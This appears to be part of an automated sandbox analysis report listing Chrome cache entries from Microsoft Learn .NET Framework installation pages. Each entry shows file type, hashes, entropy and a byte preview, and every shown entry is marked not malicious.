Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
